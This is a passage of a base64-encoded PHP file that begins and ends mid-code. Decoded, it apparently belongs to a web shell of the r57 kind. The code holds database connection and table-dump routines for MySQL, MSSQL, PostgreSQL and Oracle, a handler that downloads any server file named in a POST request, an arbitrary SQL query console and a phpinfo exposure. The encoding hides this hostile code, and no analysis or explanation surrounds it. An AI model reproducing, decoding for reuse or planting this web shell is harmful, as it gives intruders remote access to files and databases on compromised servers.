CiRmaWxlbmFtZSAuPSAnLnppcCc7DQokbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3ppcCc7DQok emlwZmlsZSA9IG5ldyB6aXBmaWxlKCk7DQokemlwZmlsZSAtPmFkZEZpbGUoJGZpbGVkdW1wLHN1 YnN0cigkZmlsZW5hbWUsMCwtNCkpOw0KJGZpbGVkdW1wID0gJHppcGZpbGUgLT5maWxlKCk7DQp9 DQplbHNlIA0Kew0KJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOw0KfQ0K fQ0KZnVuY3Rpb24gbW9yZXJlYWQoJHRlbXApew0KZ2xvYmFsICRsYW5nLCRsYW5ndWFnZTsNCiRz dHI9Jyc7DQppZihAZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpJiZAZnVuY3Rpb25fZXhpc3RzKCdm ZW9mJykmJkBmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykmJkBmdW5jdGlvbl9leGlzdHMoJ2ZjbG9z ZScpKXsNCiRmZmlsZSA9IEBmb3BlbigkdGVtcCwiciIpOw0Kd2hpbGUoIUBmZW9mKCRmZmlsZSkp eyRzdHIgLj0gQGZnZXRzKCRmZmlsZSk7fQ0KZmNsb3NlKCRmZmlsZSk7DQp9ZWxzZWlmKEBmdW5j dGlvbl9leGlzdHMoJ2ZvcGVuJykmJkBmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykmJkBmdW5jdGlv bl9leGlzdHMoJ2ZjbG9zZScpJiZAZnVuY3Rpb25fZXhpc3RzKCdmaWxlc2l6ZScpKXsNCiRmZmls ZSA9IEBmb3BlbigkdGVtcCwiciIpOw0KJHN0ciA9IEBmcmVhZCgkZmZpbGUsQGZpbGVzaXplKCR0 ZW1wKSk7DQpAZmNsb3NlKCRmZmlsZSk7DQp9ZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGUn KSl7DQokZmZpbGVzID0gQGZpbGUgKCR0ZW1wKTsNCmZvcmVhY2ggKCRmZmlsZXMgYXMgJGZmaWxl KSB7JHN0ciAuPSAkZmZpbGU7fQ0KfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9j b250ZW50cycpKXsNCiRzdHIgPSBAZmlsZV9nZXRfY29udGVudHMoJHRlbXApOw0KfWVsc2VpZihA ZnVuY3Rpb25fZXhpc3RzKCdyZWFkZmlsZScpKXsNCiRzdHIgPSBAcmVhZGZpbGUoJHRlbXApOw0K fWVsc2V7ZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTYnXTt9DQpyZXR1cm4gJHN0cjsNCn0N CmZ1bmN0aW9uIHJlYWR6bGliKCRmaWxlbmFtZSwkdGVtcD0nJyl7DQpnbG9iYWwgJGxhbmcsJGxh bmd1YWdlOw0KJHN0cj0nJzsNCmlmKCEkdGVtcCkgeyR0ZW1wPXRlbXBuYW0oQGdldGN3ZCgpLCJj b3B5dGVtcCIpO307DQppZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJGZpbGVuYW1lLCR0ZW1w KSkgew0KJHN0ciA9IG1vcmVyZWFkKCR0ZW1wKTsNCn1lbHNlIGVjaG8gJGxhbmdbJGxhbmd1YWdl LidfdGV4dDExOSddOw0KQHVubGluaygkdGVtcCk7DQpyZXR1cm4gJHN0cjsNCn0NCmZ1bmN0aW9u IG1haWxhdHRhY2goJHRvLCRmcm9tLCRzdWJqLCRhdHRhY2gpDQp7DQokaGVhZGVycyAgPSAiRnJv bTogJGZyb21cclxuIjsNCiRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOw0KJGhl YWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogIi4kYXR0YWNoWyd0eXBlJ107DQokaGVhZGVycyAuPSAi OyBuYW1lPVwiIi4kYXR0YWNoWyduYW1lJ10uIlwiXHJcbiI7DQokaGVhZGVycyAuPSAiQ29udGVu dC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4iOw0KJGhlYWRlcnMgLj0gY2h1bmtf c3BsaXQoYmFzZTY0X2VuY29kZSgkYXR0YWNoWydjb250ZW50J10pKS4iXHJcbiI7DQppZihtYWls KCR0bywkc3ViaiwiIiwkaGVhZGVycykpIHtyZXR1cm4gMTt9DQpyZXR1cm4gMDsNCn0NCmNsYXNz IG15X3NxbA0Kew0KdmFyICRob3N0ID0gJ2xvY2FsaG9zdCc7DQp2YXIgJHBvcnQgPSAnJzsNCnZh ciAkdXNlciA9ICcnOw0KdmFyICRwYXNzID0gJyc7DQp2YXIgJGJhc2UgPSAnJzsNCnZhciAkZGIg ICA9ICcnOw0KdmFyICRjb25uZWN0aW9uOw0KdmFyICRyZXM7DQp2YXIgJGVycm9yOw0KdmFyICRy b3dzOw0KdmFyICRjb2x1bW5zOw0KdmFyICRudW1fcm93czsNCnZhciAkbnVtX2ZpZWxkczsNCnZh ciAkZHVtcDsNCmZ1bmN0aW9uIGNvbm5lY3QoKQ0Kew0Kc3dpdGNoKCR0aGlzLT5kYikNCnsNCmNh c2UgJ015U1FMJzogDQppZihlbXB0eSgkdGhpcy0+cG9ydCkpIHskdGhpcy0+cG9ydCA9ICczMzA2 Jzt9DQppZighQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsNCiR0 aGlzLT5jb25uZWN0aW9uID0gQG15c3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJzonLiR0aGlzLT5w b3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsNCmlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25u ZWN0aW9uKSkgcmV0dXJuIDE7DQpicmVhazsNCmNhc2UgJ01TU1FMJzoNCmlmKGVtcHR5KCR0aGlz LT5wb3J0KSkgeyR0aGlzLT5wb3J0ID0gJzE0MzMnO30NCmlmKCFAZnVuY3Rpb25fZXhpc3RzKCdt c3NxbF9jb25uZWN0JykpIHJldHVybiAwOw0KJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXNzcWxfY29u bmVjdCgkdGhpcy0+aG9zdC4nLCcuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3Mp Ow0KaWYoJHRoaXMtPmNvbm5lY3Rpb24pIHJldHVybiAxOw0KYnJlYWs7DQpjYXNlICdQb3N0Z3Jl U1FMJzoNCmlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgeyR0aGlzLT5wb3J0ID0gJzU0MzInO30NCiRz dHIgPSAiaG9zdD0nIi4kdGhpcy0+aG9zdC4iJyBwb3J0PSciLiR0aGlzLT5wb3J0LiInIHVzZXI9 JyIuJHRoaXMtPnVzZXIuIicgcGFzc3dvcmQ9JyIuJHRoaXMtPnBhc3MuIicgZGJuYW1lPSciLiR0 aGlzLT5iYXNlLiInIjsNCmlmKCFAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVy biAwOw0KJHRoaXMtPmNvbm5lY3Rpb24gPSBAcGdfY29ubmVjdCgkc3RyKTsNCmlmKGlzX3Jlc291 cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQpicmVhazsNCmNhc2UgJ09yYWNsZSc6 DQppZighQGZ1bmN0aW9uX2V4aXN0cygnb2NpbG9nb24nKSkgcmV0dXJuIDA7DQokdGhpcy0+Y29u bmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwkdGhpcy0+cGFzcywkdGhpcy0+YmFzZSk7 DQppZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KYnJlYWs7DQp9 DQpyZXR1cm4gMDsNCn0NCmZ1bmN0aW9uIHNlbGVjdF9kYigpDQp7DQpzd2l0Y2goJHRoaXMtPmRi KQ0Kew0KY2FzZSAnTXlTUUwnOg0KaWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhp cy0+Y29ubmVjdGlvbikpIHJldHVybiAxOw0KYnJlYWs7DQpjYXNlICdNU1NRTCc6DQppZihAbXNz cWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7DQpi cmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0KcmV0dXJuIDE7DQpicmVhazsNCmNhc2UgJ09yYWNs ZSc6DQpyZXR1cm4gMTsNCmJyZWFrOw0KfQ0KcmV0dXJuIDA7DQp9DQpmdW5jdGlvbiBxdWVyeSgk cXVlcnkpDQp7DQokdGhpcy0+cmVzPSR0aGlzLT5lcnJvcj0nJzsNCnN3aXRjaCgkdGhpcy0+ZGIp DQp7DQpjYXNlICdNeVNRTCc6IA0KaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXlzcWxfcXVlcnko Jy8qJy5jaHIoMCkuJyovJy4kcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkgDQp7DQokdGhpcy0+ ZXJyb3IgPSBAbXlzcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOw0KcmV0dXJuIDA7DQp9DQpl bHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKSB7cmV0dXJuIDE7fQ0KcmV0dXJuIDI7DQpi cmVhazsNCmNhc2UgJ01TU1FMJzoNCmlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG1zc3FsX3F1ZXJ5 KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKSANCnsNCiR0aGlzLT5lcnJvciA9ICdRdWVyeSBl cnJvcic7DQpyZXR1cm4gMDsNCn0NCmVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMp ID4wKSB7cmV0dXJuIDE7fQ0KcmV0dXJuIDI7DQpicmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0K aWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AcGdfcXVlcnkoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5 KSkpDQp7DQokdGhpcy0+ZXJyb3IgPSBAcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7 DQpyZXR1cm4gMDsNCn0NCmVsc2UgaWYoQHBnX251bV9yb3dzKCR0aGlzLT5yZXMpID4wKSB7cmV0 dXJuIDE7fQ0KcmV0dXJuIDI7DQpicmVhazsNCmNhc2UgJ09yYWNsZSc6DQppZihmYWxzZT09PSgk dGhpcy0+cmVzPUBvY2lwYXJzZSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkNCnsNCiR0aGlz LT5lcnJvciA9ICdRdWVyeSBwYXJzZSBlcnJvcic7DQp9DQplbHNlIA0Kew0KaWYoQG9jaWV4ZWN1 dGUoJHRoaXMtPnJlcykpIA0Kew0KaWYoQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpICE9IDApIHJl dHVybiAyOw0KcmV0dXJuIDE7DQp9DQokZXJyb3IgPSBAb2NpZXJyb3IoKTsNCiR0aGlzLT5lcnJv cj0kZXJyb3JbJ21lc3NhZ2UnXTsNCn0NCmJyZWFrOw0KfQ0KcmV0dXJuIDA7DQp9DQpmdW5jdGlv biBnZXRfcmVzdWx0KCkNCnsNCiR0aGlzLT5yb3dzPWFycmF5KCk7DQokdGhpcy0+Y29sdW1ucz1h cnJheSgpOw0KJHRoaXMtPm51bV9yb3dzPSR0aGlzLT5udW1fZmllbGRzPTA7DQpzd2l0Y2goJHRo aXMtPmRiKQ0Kew0KY2FzZSAnTXlTUUwnOg0KJHRoaXMtPm51bV9yb3dzPUBteXNxbF9udW1fcm93 cygkdGhpcy0+cmVzKTsNCiR0aGlzLT5udW1fZmllbGRzPUBteXNxbF9udW1fZmllbGRzKCR0aGlz LT5yZXMpOw0Kd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG15c3FsX2ZldGNoX2Fz c29jKCR0aGlzLT5yZXMpKSk7DQpAbXlzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQppZigk dGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3Nb MF0pO3JldHVybiAxO30NCmJyZWFrOw0KY2FzZSAnTVNTUUwnOg0KJHRoaXMtPm51bV9yb3dzPUBt c3NxbF9udW1fcm93cygkdGhpcy0+cmVzKTsNCiR0aGlzLT5udW1fZmllbGRzPUBtc3NxbF9udW1f ZmllbGRzKCR0aGlzLT5yZXMpOw0Kd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG1z c3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQpAbXNzcWxfZnJlZV9yZXN1bHQoJHRoaXMt PnJlcyk7DQppZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMo JHRoaXMtPnJvd3NbMF0pO3JldHVybiAxO307DQpicmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0K JHRoaXMtPm51bV9yb3dzPUBwZ19udW1fcm93cygkdGhpcy0+cmVzKTsNCiR0aGlzLT5udW1fZmll bGRzPUBwZ19udW1fZmllbGRzKCR0aGlzLT5yZXMpOw0Kd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+ cm93c1tdID0gQHBnX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQpAcGdfZnJlZV9yZXN1bHQo JHRoaXMtPnJlcyk7DQppZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5 X2tleXMoJHRoaXMtPnJvd3NbMF0pO3JldHVybiAxO30NCmJyZWFrOw0KY2FzZSAnT3JhY2xlJzoN CiR0aGlzLT5udW1fZmllbGRzPUBvY2ludW1jb2xzKCR0aGlzLT5yZXMpOw0Kd2hpbGUoZmFsc2Ug IT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpICR0aGlz LT5udW1fcm93cysrOw0KQG9jaWZyZWVzdGF0ZW1lbnQoJHRoaXMtPnJlcyk7DQppZigkdGhpcy0+ bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pO3Jl dHVybiAxO30NCmJyZWFrOw0KfQ0KcmV0dXJuIDA7DQp9DQpmdW5jdGlvbiBkdW1wKCR0YWJsZSkN CnsNCmlmKGVtcHR5KCR0YWJsZSkpIHJldHVybiAwOw0KJHRoaXMtPmR1bXA9YXJyYXkoKTsNCiR0 aGlzLT5kdW1wWzBdID0gJyMjJzsNCiR0aGlzLT5kdW1wWzFdID0gJyMjIC0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAnOw0KJHRoaXMtPmR1bXBbMl0gPSAnIyMgIENyZWF0 ZWQ6ICcuZGF0ZSAoImQvbS9ZIEg6aTpzIik7DQokdGhpcy0+ZHVtcFszXSA9ICcjIyBEYXRhYmFz ZTogJy4kdGhpcy0+YmFzZTsNCiR0aGlzLT5kdW1wWzRdID0gJyMjICAgIFRhYmxlOiAnLiR0YWJs ZTsNCiR0aGlzLT5kdW1wWzVdID0gJyMjIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLSAnOw0Kc3dpdGNoKCR0aGlzLT5kYikNCnsNCmNhc2UgJ015U1FMJzoNCiR0aGlzLT5k dW1wWzBdID0gJyMjIE15U1FMIGR1bXAnOw0KaWYoJHRoaXMtPnF1ZXJ5KCcvKicuY2hyKDApLicq LyBTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7DQppZighJHRo aXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQokdGhpcy0+ZHVtcFtdID0gJHRoaXMtPnJvd3Nb MF1bJ0NyZWF0ZSBUYWJsZSddOw0KJHRoaXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCmlmKCR0aGlzLT5xdWVyeSgnLyonLmNocigwKS4n Ki8gU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKSE9MSkgcmV0dXJuIDA7DQppZighJHRoaXMt PmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQpmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkr KykNCnsNCmZvcmVhY2goJHRoaXMtPnJvd3NbJGldIGFzICRrPT4kdikgeyR0aGlzLT5yb3dzWyRp XVska10gPSBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KTt9DQokdGhpcy0+ZHVtcFtdID0g J0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoYCcuQGltcGxvZGUoImAsIGAiLCR0aGlzLT5jb2x1 bW5zKS4nYCkgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCR0aGlzLT5yb3dzWyRpXSkuJ1wn KTsnOw0KfQ0KYnJlYWs7DQpjYXNlICdNU1NRTCc6DQokdGhpcy0+ZHVtcFswXSA9ICcjIyBNU1NR TCBkdW1wJzsNCmlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJl dHVybiAwOw0KaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KZm9yKCRpPTA7JGk8 JHRoaXMtPm51bV9yb3dzOyRpKyspDQp7DQpmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+ JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiR0aGlzLT5kdW1w W10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCR0aGlzLT5jb2x1 bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsJHRoaXMtPnJvd3NbJGldKS4nXCcp Oyc7DQp9DQpicmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0KJHRoaXMtPmR1bXBbMF0gPSAnIyMg UG9zdGdyZVNRTCBkdW1wJzsNCmlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJs ZSkhPTEpIHJldHVybiAwOw0KaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KZm9y KCRpPTA7JGk8JHRoaXMtPm51bV9yb3dzOyRpKyspDQp7DQpmb3JlYWNoKCR0aGlzLT5yb3dzWyRp XSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiR0 aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCR0 aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsJHRoaXMtPnJvd3Nb JGldKS4nXCcpOyc7DQp9DQpicmVhazsNCmNhc2UgJ09yYWNsZSc6DQokdGhpcy0+ZHVtcFswXSA9 ICcjIyBPUkFDTEUgZHVtcCc7DQokdGhpcy0+ZHVtcFtdICA9ICcjIyB1bmRlciBjb25zdHJ1Y3Rp b24nOw0KYnJlYWs7DQpkZWZhdWx0Og0KcmV0dXJuIDA7DQpicmVhazsNCn0NCnJldHVybiAxOw0K fQ0KZnVuY3Rpb24gY2xvc2UoKQ0Kew0Kc3dpdGNoKCR0aGlzLT5kYikNCnsNCmNhc2UgJ015U1FM JzogDQpAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOw0KYnJlYWs7DQpjYXNlICdNU1NR TCc6DQpAbXNzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOw0KYnJlYWs7DQpjYXNlICdQb3N0 Z3JlU1FMJzoNCkBwZ19jbG9zZSgkdGhpcy0+Y29ubmVjdGlvbik7DQpicmVhazsNCmNhc2UgJ09y YWNsZSc6DQpAb2NpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCmJyZWFrOw0KfQ0KfQ0KZnVu Y3Rpb24gYWZmZWN0ZWRfcm93cygpDQp7DQpzd2l0Y2goJHRoaXMtPmRiKQ0Kew0KY2FzZSAnTXlT UUwnOg0KcmV0dXJuIEBteXNxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KYnJlYWs7DQpj YXNlICdNU1NRTCc6DQpyZXR1cm4gQG1zc3FsX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7DQpi cmVhazsNCmNhc2UgJ1Bvc3RncmVTUUwnOg0KcmV0dXJuIEBwZ19hZmZlY3RlZF9yb3dzKCR0aGlz LT5yZXMpOw0KYnJlYWs7DQpjYXNlICdPcmFjbGUnOg0KcmV0dXJuIEBvY2lyb3djb3VudCgkdGhp cy0+cmVzKTsNCmJyZWFrOw0KZGVmYXVsdDoNCnJldHVybiAwOw0KYnJlYWs7DQp9DQp9DQp9DQpp ZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYkX1BPU1RbJ2NtZCddPT0iZG93bmxvYWRfZmlsZSIm JiFlbXB0eSgkX1BPU1RbJ2RfbmFtZSddKSkNCnsNCmlmKCRmaWxlPUBmb3BlbigkX1BPU1RbJ2Rf bmFtZSddLCJyIikpeyRmaWxlZHVtcCA9IEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydk X25hbWUnXSkpO0BmY2xvc2UoJGZpbGUpO30NCmVsc2UgaWYgKCRmaWxlPXJlYWR6bGliKCRfUE9T VFsnZF9uYW1lJ10pKSB7JGZpbGVkdW1wID0gJGZpbGU7fWVsc2Uge2VycigxLCRfUE9TVFsnZF9u YW1lJ10pOyRfUE9TVFsnY21kJ109IiI7fQ0KaWYoaXNzZXQoJF9QT1NUWydjbWQnXSkpIA0Kew0K QG9iX2NsZWFuKCk7DQokZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydkX25hbWUnXSk7DQok Y29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOw0KY29tcHJlc3MoJGZpbGVuYW1lLCRmaWxl ZHVtcCwkX1BPU1RbJ2NvbXByZXNzJ10pOw0KaWYgKCFlbXB0eSgkY29udGVudF9lbmNvZGluZykp IHtoZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6ICcuJGNvbnRlbnRfZW5jb2RpbmcpO30NCmhlYWRl cigiQ29udGVudC10eXBlOiAiLiRtaW1lX3R5cGUpOw0KaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0 aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGZpbGVuYW1lLiJcIjsiKTsNCmVjaG8gJGZp bGVkdW1wOw0KZXhpdCgpOw0KfQ0KfQ0KaWYoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHtlY2hv IEBwaHBpbmZvKCk7ZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFu YSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4g XTwvYj48L2ZvbnQ+PC9kaXY+IjtkaWUoKTt9DQppZiAoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYm JF9QT1NUWydjbWQnXT09ImRiX3F1ZXJ5IikNCnsNCmVjaG8gJGhlYWQ7DQokc3FsID0gbmV3IG15 X3NxbCgpOw0KJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiRzcWwtPmhvc3QgPSAkX1BPU1Rb J2RiX3NlcnZlciddOw0KJHNxbC0+cG9ydCA9ICRfUE9TVFsnZGJfcG9ydCddOw0KJHNxbC0+dXNl ciA9ICRfUE9TVFsnbXlzcWxfbCddOw0KJHNxbC0+cGFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOw0K JHNxbC0+YmFzZSA9ICRfUE9TVFsnbXlzcWxfZGInXTsNCiRxdWVyeXMgPSBAZXhwbG9kZSgnOycs JF9QT1NUWydkYl9xdWVyeSddKTsNCmVjaG8gJzxib2R5IGJnY29sb3I9IzAwMDAwMD4nOw0KaWYo ISRzcWwtPmNvbm5lY3QoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJk YW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPkNhbid0IGNvbm5lY3QgdG8gU1FMIHNlcnZlcjwvYj48 L2ZvbnQ+PC9kaXY+IjsNCmVsc2UgDQp7DQppZighZW1wdHkoJHNxbC0+YmFzZSkmJiEkc3FsLT5z ZWxlY3RfZGIoKSkgZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNp emU9LTIgY29sb3I9cmVkPjxiPkNhbid0IHNlbGVjdCBkYXRhYmFzZTwvYj48L2ZvbnQ+PC9kaXY+ IjsNCmVsc2UNCnsNCmZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpIA0Kew0KaWYoc3Ry bGVuKCRxdWVyeSk+NSkNCnsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9y PWdyZWVuPjxiPlF1ZXJ5IyIuJG51bS4iIDogIi5odG1sc3BlY2lhbGNoYXJzKCRxdWVyeSxFTlRf UVVPVEVTKS4iPC9iPjwvZm9udD48YnI+IjsNCnN3aXRjaCgkc3FsLT5xdWVyeSgkcXVlcnkpKQ0K ew0KY2FzZSAnMCc6DQplY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkPjxmb250IGZhY2U9 VmVyZGFuYSBzaXplPS0yPkVycm9yIDogPGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L3Rk PjwvdHI+PC90YWJsZT4iOw0KYnJlYWs7DQpjYXNlICcxJzogDQppZigkc3FsLT5nZXRfcmVzdWx0 KCkpDQp7DQplY2hvICI8dGFibGUgd2lkdGg9MTAwJT4iOw0KZm9yZWFjaCgkc3FsLT5jb2x1bW5z IGFzICRrPT4kdikgJHNxbC0+Y29sdW1uc1ska10gPSBodG1sc3BlY2lhbGNoYXJzKCR2LEVOVF9R VU9URVMpOw0KJGtleXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9iPjwvZm9udD48L3RkPjx0ZCBiZ2Nv bG9yPSMzMzMzMzM+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jm5ic3A7Iiwkc3FsLT5j b2x1bW5zKTsNCmVjaG8gIjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxmb250IGZhY2U9VmVyZGFu YSBzaXplPS0yPjxiPiZuYnNwOyIuJGtleXMuIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48L3RyPiI7 DQpmb3IoJGk9MDskaTwkc3FsLT5udW1fcm93czskaSsrKQ0Kew0KZm9yZWFjaCgkc3FsLT5yb3dz WyRpXSBhcyAkaz0+JHYpICRzcWwtPnJvd3NbJGldWyRrXSA9IGh0bWxzcGVjaWFsY2hhcnMoJHYs RU5UX1FVT1RFUyk7DQokdmFsdWVzID0gQGltcGxvZGUoIiZuYnNwOzwvZm9udD48L3RkPjx0ZD48 Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4mbmJzcDsiLCRzcWwtPnJvd3NbJGldKTsNCmVjaG8g Jzx0cj48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJz cDs8L2ZvbnQ+PC90ZD48L3RyPic7DQp9DQplY2hvICI8L3RhYmxlPiI7DQp9DQpicmVhazsNCmNh c2UgJzInOg0KJGFyID0gJHNxbC0+YWZmZWN0ZWRfcm93cygpPygkc3FsLT5hZmZlY3RlZF9yb3dz KCkpOignMCcpOw0KZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZD48Zm9udCBmYWNlPVZl cmRhbmEgc2l6ZT0tMj5hZmZlY3RlZCByb3dzIDogPGI+Ii4kYXIuIjwvYj48L2ZvbnQ+PC90ZD48 L3RyPjwvdGFibGU+PGJyPiI7DQpicmVhazsNCn0NCn0NCn0NCn0NCn0NCmVjaG8gIjxicj48Zm9y bSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCmVjaG8gaW4oJ2hpZGRlbicsJ2RiJywwLCRfUE9T VFsnZGInXSk7DQplY2hvIGluKCdoaWRkZW4nLCdkYl9zZXJ2ZXInLDAsJF9QT1NUWydkYl9zZXJ2 ZXInXSk7DQplY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsN CmVjaG8gaW4oJ2hpZGRlbicsJ215c3FsX2wnLDAsJF9QT1NUWydteXNxbF9sJ10pOw0KZWNobyBp bignaGlkZGVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7DQplY2hvIGluKCdoaWRk ZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOw0KZWNobyBpbignaGlkZGVuJywn Y21kJywwLCdkYl9xdWVyeScpOw0KZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+IjsNCmVjaG8gIjxm 